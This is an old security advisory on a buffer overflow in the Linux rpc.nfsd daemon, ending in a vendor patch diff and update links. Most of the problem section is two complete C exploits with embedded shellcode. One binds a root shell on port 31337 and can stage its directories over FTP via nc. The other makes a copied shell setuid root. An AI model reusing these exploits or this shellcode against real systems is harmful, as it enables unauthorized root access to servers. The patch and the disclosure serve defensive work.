COMMAND

    nfsd

SYSTEMS AFFECTED

    RedHat 4.x, 5.x, Debian 2.1, Slackware7

PROBLEM

    Mariusz Marcinkiewicz posted following.  Few months ago one of his
    friends - digit - found bug in linux nfsd daemon.  He made example
    exploit  about  IV  1999.   Now  in  distributions is new nfsd and
    nowhere was information about security weaknes of old version!

    Linux rpc.nfsd has real_path bug. When user has been trying access
    directory  with  long  path  nfsd  got  SIGSEGV.  There was buffer
    overflow which we  can exploit and  get root privileges  on server
    machine.   Length  of  path  is  checked  if  user  is trying make
    long-path-directory by  nfs but  isn't checked  when he  is trying
    remove it.  One way to exploit this bug is creating  long-path-dir
    localy and later rm it by nfs.  In some cases bug can be exploited
    remotely: if attacker has write access to exported directories  by
    ftpd.  Exploit follows:

    /*
     * rpc.nfsd2 exploit for Linux
     *
     * today is 4/07/99 (3 months after 1st version;)
     *
     * changes in v.2:
     * That version can be used for FULL remote exploiting, I changed/added
     * two important things:
     * 		- new shellcode: sh on defined port
     * 		- creating dirs via ftp
     * Now you can hack box remotely if you have +w via ftp.
     * (./3nfsd2 -e /home/ftp/incoming -f /incoming) | nc target 21
     *
     * author: tmoggie
     * greetz:
     *         DiGiT      - bug
     *         maxiu      - help with shellcode
     *         lam3rZ GrP - :)
     *
     */

    #include <sys/stat.h>
    #include <sys/types.h>
    #include <stdio.h>
    #include <fcntl.h>
    #include <unistd.h>
    #include <string.h>

    #define green "\E[32m"
    #define bold "\E[1m"
    #define normal "\E[m"
    #define red "\E[31m"


    char shell[255] =
     "\xeb\x70\x31\xc9\x31\xdb\x31\xc0\xb0\x46\xcd\x80\x5e\x83\xc6\x0f\x89\x46"
     "\x10\x89\x46\x14\x89\x46\x18\xb0\x02\x89\x06\x89\x46\x0c\xb0\x06\x89\x46"
     "\x08\x31\xc0\xfe\xc3\x89\x5e\x04\xb0\x66\x89\xf1\xcd\x80\x89\x06\xb0\x30"
     "\x31\xdb\x31\xc9\xb3\x0e\xfe\xc1\xcd\x80\x66\xb8\x69\x7a\x86\xc4\x66\x89"
     "\x46\x0e\x8d\x46\x0c\x89\x46\x04\x31\xc0\xb0\x10\x89\x46\x08\xb0\x66\x31"
     "\xdb\xb3\x02\x89\xf1\xcd\x80\x31\xc0\xfe\xc0\x89\x46\x04\xb0\x66\xb3\x04"
     "\x89\xf1\xcd\x80\xeb\x04\xeb\x60\xeb\x8c\x89\x46\x0c\x8d\x46\x0c\x89\x46"
     "\x04\x89\x46\x08\xc6\x46\x0c\x10\x31\xc0\xb0\x66\x31\xdb\xb3\x05\x89\xf1"
     "\xcd\x80\x83\xee\x0f\x89\xc3\x31\xc9\x89\x4e\x14\xb0\x3f\xcd\x80\x41\xb0"
     "\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\xfe\x06\xfe\x46\x04\x88\x66\x07\x88\x66"
     "\x0b\x89\x76\x0c\x8d\x46\x09\x89\x46\x10\x31\xc0\xb0\x0b\x89\xf3\x8d\x4e"
     "\x0c\x8d\x56\x10\xcd\x80\x31\xdb\x89\xd8\xfe\xc0\xcd\x80\xe8\x9b\xff\xff";
    char next[] = "\xff\x2e\x62\x69\x6e\x2e\x73\x68\x41\x41\x2d\x69";
    char mark[] = "\xff\xff\xff";

    int port = 31337;
    int offset;


    void usage(char *prog) {
     printf("\nusage: %s <-e dir> [-t target] [-s port] "
            "[-f dir] [-u user] [-p pass]\n\n",prog);
     printf("   -e dir	: real-path to exported direectory\n");
     printf("   -t target	: target OS\n ");
     printf("	  1 		- RH 5.2 (default) \n"
            "	  2 		- Debian 2.1\n");
     printf("   -s port	: shell port, default is 31337\n");
     printf("   -f dir 	: ftp-path to exported directory\n");
     printf("   -u		: ftp username (default is ftp)\n");
     printf("   -p		: ftp password (default is ftp@ftp.org\n\n");
     exit(0);
    }


    void main(int argc, char **argv) {
     int i,j;
     int ftp=0;
     char user[255]="ftp";
     char pass[255]="ftp@ftp.org";
     char buf[4096];
     char buf2[4096];
     char tmp[4096];
     char tmp2[4096];
     char exp[255] = "!";
     char exp2[255]= "!";
     char addr[] = "\x06\xf6\xff\xff\xbf";


     while (1) {
      i = getopt(argc,argv,"t:e:s:f:u:p:");
      if (i == -1) break;
      switch (i) {
       case 'e': strcpy(exp,optarg); break;
       case 's': port = optarg; break;
       case 'f': strcpy(exp2,optarg); ftp = 1; break;
       case 'u': strcpy(user,optarg); break;
       case 'p': strcpy(pass,optarg); break;
       case 't': switch (j=atoi(optarg)) {
                         case 1: strcpy(addr,"\x06\xf6\xff\xff\xbf");
                                 break; // debian 1.2
                         case 2: strcpy(addr,"\x18\xf6\xff\xff\xbf");
                                 break; // rh 5.2
                       }
       default : usage(argv[0]); break;
      }
     }
     if (!strcmp(exp,"!")) usage(argv[0]);
     if (ftp == 1) {
      // sockets, resolve, connect......
     }
     *((unsigned short *) (shell + 66)) = port;

     offset = strlen(exp);
     if (exp[offset-1] != '/') strcat(exp,"/");
     offset = strlen(exp);
     // 1st directory
     bzero(buf,sizeof(buf));
     memset(tmp,'A',255);
     tmp[255]='/';
     tmp[256]='\0';
     strncpy(buf,exp,offset);
     // make our dirs
     if (ftp == 1) {
      printf("USER %s\n",user);
      printf("PASS %s\n",pass);
      printf("CWD %s\n",exp2);
     }
     for (i=1;i<=3;i++) {
      strncat(buf,tmp,strlen(tmp));
      if (ftp != 1) {
       if (mkdir(buf,0777) < 0) {
        printf(red"...fuck! can't create directory!!! : %d\n%s\n"normal,i,buf);
        exit(-1);
       }
      } else {
       tmp[255]='\0';
       printf("MKD %s\n",tmp);
       printf("CWD %s\n",tmp);
      }
     }
     // offset direcory, length depends on real-path
     memset(tmp,'A',255);
     tmp[255-offset]='/';
     tmp[256-offset]='\0';
     strncat(buf,tmp,strlen(tmp));
     if (ftp != 1) {
      if (mkdir(buf,0777) < 0) {
       printf(red"...fuqn offset dirW#$#@%#$^%T#\n"normal);
       exit(-1);
      }
     } else {
      tmp[255-offset]='\0';
      printf("MKD %s\n",tmp);
      printf("CWD %s\n",tmp);
     }
     // shell directory
     memset(tmp,'x',255);
     // printf("%d\n", strlen(shell));
     if (ftp == 1) strncat(shell,mark,strlen(mark));
     // printf("%d\n", strlen(shell));
     strncat(shell,next,strlen(next));
     if (ftp == 1) i=3; else i=0;
     strcpy(tmp+(255+i-strlen(shell)),shell);
     // printf("%d\n", strlen(shell));
     strncat(buf,tmp,strlen(tmp));
     strncat(buf,"/",strlen("/"));
     if (ftp != 1) {
      if (mkdir(buf,0777) < 0) {
       printf(red"...fuck!@# shell-dir\n%s\n"normal, buf);
       exit(-1);
      }
     } else {
      tmp[258]='\0';
      printf("MKD %s\n",tmp);
      printf("CWD %s\n",tmp);
     }
     // addr direcotry
     memset(tmp,'a',255);
     tmp[97] = '\0';
    //  *((int*)(tmp+93)) = addr;
    // if (ftp != 1) *((int*)(tmp+93)) = 0xbffff606; // debian 2.1
    // else {
      strcpy(tmp+93,addr);
    // }
     strncat(buf,tmp,strlen(tmp));
     if (ftp != 1) {
      if (mkdir(buf,0777) < 0) {
       printf(red"...fuck!@#!@#!$ addrez-dir ^\n%s\n"normal, buf);
       exit(-1);
      }
     } else {
      printf("MKD %s\n",tmp);
      printf("quit\n",tmp);
     }
     fprintf(stderr,normal green"Ok\n"normal);
     fprintf(stderr,"now you have to do: "bold green \
	     "rm -rf /path-to-mount-point/A[tab] & \n"
             "and: telnet target %d\n\n"normal,port);
    }

    The version of exploit above wasn't tested well. Maybe it  doesn't
    work in  some cases.   Below is  old version  of rpc.nfsd exploit.
    This one is local only, shellcode will make "chown root /tmp/blah;
    chmod +s /tmp/blah".  It should works for you.

    /*
     * rpc.nfsd exploit for Linux
     *
     * author: tmoggie
     * greetz:
     *         DiGiT - bug discovering,
     *         kil3r, maxiu and all of lam3rZ GrP
     *
     */

    #include <sys/stat.h>
    #include <sys/types.h>
    #include <fcntl.h>
    #include <unistd.h>
    #include <string.h>

    #define green "\E[32m"
    #define bold "\E[1m"
    #define normal "\E[m"
    #define red "\E[31m"

    // shellcode from maxiu
    // chmod 4777 /tmp/blah
    char shell[] = "\xeb\x2d\x5e\xfe\x06\xfe\x46\x04\xfe\x46\x09\x31\xc9\x31\xdb"
                   "\x31\xc0\xb0\x46\xcd\x80\x31\xd2\x89\xf3\xb0\x10\xcd\x80\x66"
                   "\xb9\xff\x09\x89\xf3\xb0\x0f\xcd\x80\x31\xdb\x89\xd8\xfe\xc0"
                   "\xcd\x80\xe8\xce\xff\xff\xff.tmp.blah\xff\xff\xff\xff/";

    char *cmd = "cp /bin/sh /tmp/blah";

    int offset;


    void usage(char *prog)
     {
     printf("\nusage: %s <-e dir> [-t target] [-c command] \n",prog);
      printf("\n   -e dir    : full path to exported directory\n");
      printf("   -t target : ");
      printf("1 - RH 5.2 (default)   2 - Debian 2.1\n");
      printf("   -c command: cmd to do as a normal user" \
             " (default: cp /bin/sh /tmp/blah)\n\n");
      exit(0);
     }

    void main(int argc, char **argv)
     {
      int i,j;
      char buf[4096];
      char buf2[4096];
      char tmp[4096];

      char exp[255] = "!";
      int addr = 0xbffff667 ; // default RH 5.2

      while (1)
       {
         i = getopt(argc,argv,"e:c:t:h");
         if (i == -1) break;
         switch (i)
          {
           case 'e': strcpy(exp,optarg); break;
           case 'c': strcpy(cmd,optarg); break;
           case 't': switch (j=atoi(optarg))
                       {
                         case 1: addr = 0xbffff667; break; // debian 1.2
                         case 2: addr = 0xbffff655; break; // rh 5.2
                       }
           default : usage(argv[0]); break;
          }
       }
      if (!strcmp(exp,"!")) usage(argv[0]);
      printf(bold"cmd");
      if (system(cmd) != 0)
        {
          printf(red"....failed!\n"normal);
          exit(-1);
        }
      printf(normal green"\tOk\n"normal);

      offset = strlen(exp);
      if (exp[offset-1] != '/') strcat(exp,"/");
      offset = strlen(exp);
      bzero(buf,sizeof(buf));
      memset(tmp,'A',255);
      tmp[255]='/';
      tmp[256]='\0';
      strncpy(buf,exp,offset);
      printf(bold"dirs");
      for (i=1;i<=3;i++)
       {
        strncat(buf,tmp,strlen(tmp));
        if (mkdir(buf,0777) < 0)
          {
           printf(red"...fuck! can't create directory!!! : %d\n"normal,i);
           exit(-1);
          }
       }
      memset(tmp,'A',255);
      tmp[255-offset]='/';
      tmp[256-offset]='\0';
      strncat(buf,tmp,strlen(tmp));
      if (mkdir(buf,0777) < 0)
       {
        printf(red"...fuqn offset dirW#$#@%#$^%T#\n"normal);
        exit(-1);
       }
      memset(tmp,'\x90',255);
      strcpy(tmp+(255-strlen(shell)),shell);
      strncat(buf,tmp,strlen(tmp));
      if (mkdir(buf,0777) < 0)
       {
        printf(red"...fuck!@# shell-dir\n"normal);
        exit(-1);
       }
      memset(tmp,'a',255);
      tmp[97] = '\0';
      *((int*)(tmp+93)) = addr;
      strncat(buf,tmp,strlen(tmp));
      if (mkdir(buf,0777) < 0)
       {
        printf(red"...fuck!@#!@#!$ addrez-dir ^\n"normal);
        exit(-1);
       }
      printf(normal green"\tOk\n"normal);
      printf("now you have to do: "bold green \
	     "rm -rf /path-to-mount-point/A[tab] & \n\n"normal);
    }

SOLUTION

    The true  cause of  the problem  is that  the code  relies on  the
    total length of  a path to  not exceed PATH_MAX  + NAME_MAX.   Not
    sure whether this is a common Unix problem, but at least on Linux,
    PATH_MAX merely seems  to put an  upper limit on  the length of  a
    single path you can  hand to a syscall  (size of a page  - 1, i.e.
    4095).  However  it still allows  you to create  files within that
    directory as long  as you use  relative names only...   As to  the
    impact of the  problem, it's nasty,  but you will  need to have  a
    directory exported read/write  to you in  order to exploit  it (or
    you're  able  to  impersonate  a  host  with this kind of access).
    Appended  you'll  find  a  patch  against 2.2beta46 that rectifies
    this problem.  The full source for 2.2beta47 can be found at:

        ftp://linux.mathematik.tu-darmstadt.de/pub/linux/people/okir

    Another version  (2.2.48) that  has some  additional, non-security
    related fixes can be found in the dontuse subdirectory.

    diff -ur nfs-server-2.2beta46/ChangeLog nfs-server-2.2beta47/ChangeLog
    --- nfs-server-2.2beta46/ChangeLog	Tue Sep 14 11:21:15 1999
    +++ nfs-server-2.2beta47/ChangeLog	Wed Nov 10 10:17:51 1999
    @@ -1,3 +1,9 @@
    +Wed Nov 10 10:17:16 1999
    +
    +	* Security fix for buffer overflow in fh_buildpath
    +	  No thanks to Mariusz who reported it to bugtraq
    +	  rather than me.
    +
     Wed Sep  8 09:07:38 1999

 	    * If a host is listed by IP addr, do a reverse lookup
    diff -ur nfs-server-2.2beta46/auth_clnt.c nfs-server-2.2beta47/auth_clnt.c
    --- nfs-server-2.2beta46/auth_clnt.c	Tue Sep  7 09:54:50 1999
    +++ nfs-server-2.2beta47/auth_clnt.c	Wed Nov 10 10:18:06 1999
    @@ -12,6 +12,7 @@
      */


    +#include "system.h"
     #include "nfsd.h"
     #include "fakefsuid.h"

    diff -ur nfs-server-2.2beta46/exports.man nfs-server-2.2beta47/exports.man
    --- nfs-server-2.2beta46/exports.man	Mon Dec  8 16:59:50 1997
    +++ nfs-server-2.2beta47/exports.man	Wed Nov 10 10:18:49 1999
    @@ -75,11 +75,12 @@
     off, specify
     .IR insecure .
     .TP
    -.IR ro
    -Allow only read-only requests on this NFS volume. The default is to
    -allow write requests as well, which can also be made explicit by using
    -the
    -.IR rw " option.
    +.\" This used to be a documentation bug in previous versions...
    +.IR rw
    +Allow the client to modify files and directories. The default is to
    +restrict the client to read-only request, which can be made explicit
    +by using the
    +.IR ro " option.
     .TP
     .I noaccess
     This makes everything below the directory inaccessible for the named
    diff -ur nfs-server-2.2beta46/fh.c nfs-server-2.2beta47/fh.c
    --- nfs-server-2.2beta46/fh.c	Mon Nov 23 14:08:11 1998
    +++ nfs-server-2.2beta47/fh.c	Wed Nov 10 10:31:49 1999
    @@ -43,6 +43,10 @@
      *		This software maybe be used for any purpose provided
      *		the above copyright notice is retained.  It is supplied
      *		as is, with no warranty expressed or implied.
    + *
    + * Note: the original code mistakenly assumes that the overall path
    + *	length remains within the value given by PATH_MAX... that leads
    + *	to interesting buffer overflows all over the place.
      */

     #include <assert.h>
    @@ -533,7 +537,7 @@
 	    char		*slash_stack[HP_LEN];
 	    struct stat	sbuf;
 	    psi_t		psi;
    -	int		i;
    +	int		i, pathlen;

 	    if (h->hash_path[0] >= HP_LEN) {
 		    Dprintf(L_ERROR, "impossible hash_path[0] value: %s\n",
    @@ -549,7 +553,7 @@
 			    return (NULL);
 		    return xstrdup("/");
 	    }
    -	/* else */
    +
 	    if (hash_psi(psi) != h->hash_path[1])
 		    return (NULL);

    @@ -562,35 +566,42 @@

 	    backtrack:
 		    if (efs_stat(pathbuf, &sbuf) >= 0
    -		    && (dir = efs_opendir(pathbuf)) != NULL) {
    +		 && (dir = efs_opendir(pathbuf)) != NULL) {
    +			pathlen = strlen(pathbuf);
 			    if (cookie_stack[i] != 0)
 				    efs_seekdir(dir, cookie_stack[i]);
 			    while ((dp = efs_readdir(dir))) {
    -				if (strcmp(dp->d_name, ".") != 0
    -				    && strcmp(dp->d_name, "..") != 0) {
    -					psi = pseudo_inode(dp->d_ino, sbuf.st_dev);
    -					if (i == h->hash_path[0] + 1) {
    -						if (psi == h->psi) {
    -							/*GOT IT*/
    -							strcat(pathbuf, dp->d_name);
    -							path = xstrdup(pathbuf);
    -							efs_closedir(dir);
    -							auth_override_uid(auth_uid);
    -							return (path);
    -						}
    -					} else {
    -						if (hash_psi(psi) == h->hash_path[i]) {
    -							/*PERHAPS WE'VE GOT IT */
    -							cookie_stack[i] = efs_telldir(dir);
    -							cookie_stack[i + 1] = 0;
    -							slash_stack[i] = pathbuf + strlen(pathbuf);
    -							strcpy(slash_stack[i], dp->d_name);
    -							strcat(pathbuf, "/");
    -
    -							efs_closedir(dir);
    -							goto deeper;
    -						}
    -					}
    +				char	*name = dp->d_name;
    +				int	n = strlen(name);
    +
    +				if (pathlen + n + 1 >= NFS_MAXPATHLEN
    +				 || (name[0] == '.'
    +				  && (n == 1 || (n == 2 && name[1] == '.'))))
    +					continue;
    +
    +				psi = pseudo_inode(dp->d_ino, sbuf.st_dev);
    +				if (i == h->hash_path[0] + 1) {
    +					if (psi != h->psi)
    +						continue;
    +					/* GOT IT */
    +					strcpy(pathbuf + pathlen, dp->d_name);
    +					path = xstrdup(pathbuf);
    +					efs_closedir(dir);
    +					auth_override_uid(auth_uid);
    +					return (path);
    +				} else {
    +					if (hash_psi(psi) != h->hash_path[i])
    +						continue;
    +
    +					/* PERHAPS WE'VE GOT IT */
    +					cookie_stack[i] = efs_telldir(dir);
    +					cookie_stack[i + 1] = 0;
    +					slash_stack[i] = pathbuf + pathlen;
    +					strcpy(slash_stack[i], dp->d_name);
    +					strcat(pathbuf, "/");
    +
    +					efs_closedir(dir);
    +					goto deeper;
 				    }
 			    }
 			    /* dp == NULL */
    @@ -1252,6 +1263,10 @@
 		     * FH; don't bother with setting up a cache entry for
 		     * now (happens later). */
 		    if (fname[0] == '/') {
    +			/* shouldn't happen because the name's limited
    +			 * by NFS_MAXNAMELEN == 255 */
    +			if (strlen(fname) >= NFS_MAXPATHLEN)
    +				return NFSERR_NAMETOOLONG;
 			    sbp->st_nlink = 0;
 			    return fh_create(new_fh, fname);
 		    }
    @@ -1265,6 +1280,10 @@
 			    return NFSERR_ACCES;
 		    fname = dopa->name;
 	    }
    +
    +	/* Security check */
    +	if (strlen(dirh->path) + strlen(dopa->name) + 1 >= NFS_MAXPATHLEN)
    +		return NFSERR_NAMETOOLONG;

 	    /* Construct path.
 	     * Lookups of "" generated by broken OS/2 clients
    diff -ur nfs-server-2.2beta46/nfsd.c nfs-server-2.2beta47/nfsd.c
    --- nfs-server-2.2beta46/nfsd.c	Sun Aug 29 17:19:29 1999
    +++ nfs-server-2.2beta47/nfsd.c	Wed Nov 10 10:33:28 1999
    @@ -194,8 +194,10 @@
 		    return status;

 	    /* Get the directory path and append "/" + dopa->filename */
    -	sp = fhc->path;
    +	if (strlen(fhc->path) + strlen(dopa->name) + 1 >= NFS_MAXPATHLEN)
    +		return NFSERR_NAMETOOLONG;

    +	sp = fhc->path;
 	    while (*sp)		/* strcpy(buf, fhc->path); */
 		    *buf++ = *sp++;
 	    *buf++ = '/';		/* strcat(buf, "/");  */
    @@ -207,12 +209,8 @@
 	    }
 	    *buf = '\0';

    -	if (strlen(path) > NFS_MAXPATHLEN)
    -		return NFSERR_NAMETOOLONG;
    -
    -	if ((nfsmount = auth_path(nfsclient, rqstp, path)) == NULL) {
    +	if ((nfsmount = auth_path(nfsclient, rqstp, path)) == NULL)
 		    return NFSERR_ACCES;
    -	}
 	    auth_user(nfsmount, rqstp);

 	    return (NFS_OK);
    diff -ur nfs-server-2.2beta46/version.c nfs-server-2.2beta47/version.c
    --- nfs-server-2.2beta46/version.c	Tue Sep  7 10:38:26 1999
    +++ nfs-server-2.2beta47/version.c	Wed Nov 10 10:33:33 1999
    @@ -1 +1 @@
    -char version[] = "Universal NFS Server 2.2beta46";
    +char version[] = "Universal NFS Server 2.2beta47";

    It is  recommended that  all users  of Red  Hat Linux  4.x and 5.x
    update to the fixed packages.

    Red Hat Linux 4.x:

        ftp://updates.redhat.com/4.2/i386/nfs-server-2.2beta47-0.i386.rpm
        ftp://updates.redhat.com/4.2/i386/nfs-server-clients-2.2beta47-0.i386.rpm

        ftp://updates.redhat.com/4.2/alpha/nfs-server-2.2beta47-0.alpha.rpm
        ftp://updates.redhat.com/4.2/alpha/nfs-server-clients-2.2beta47-0.alpha.rpm

        ftp://updates.redhat.com/4.2/sparc/nfs-server-2.2beta47-0.sparc.rpm
        ftp://updates.redhat.com/4.2/sparc/nfs-server-clients-2.2beta47-0.sparc.rpm

        ftp://updates.redhat.com/4.2/SRPMS/nfs-server-2.2beta47-0.src.rpm

    Red Hat Linux 5.x:

        ftp://updates.redhat.com/5.2/i386/nfs-server-2.2beta47-1.i386.rpm
        ftp://updates.redhat.com/5.2/i386/nfs-server-clients-2.2beta47-1.i386.rpm

        ftp://updates.redhat.com/5.2/alpha/nfs-server-2.2beta47-1.alpha.rpm
        ftp://updates.redhat.com/5.2/alpha/nfs-server-clients-2.2beta47-1.alpha.rpm

        ftp://updates.redhat.com/5.2/sparc/nfs-server-2.2beta47-1.sparc.rpm
        ftp://updates.redhat.com/5.2/sparc/nfs-server-clients-2.2beta47-1.sparc.rpm

        ftp://updates.redhat.com/5.2/SRPMS/nfs-server-2.2beta47-1.src.rpm

    Red Hat Linux 6.x  uses the knfsd kernel  space NFS daemon and  is
    not affected by this problem.

    Slackware patch:

        ftp.cdrom.com:/pub/linux/slackware-7.0/patches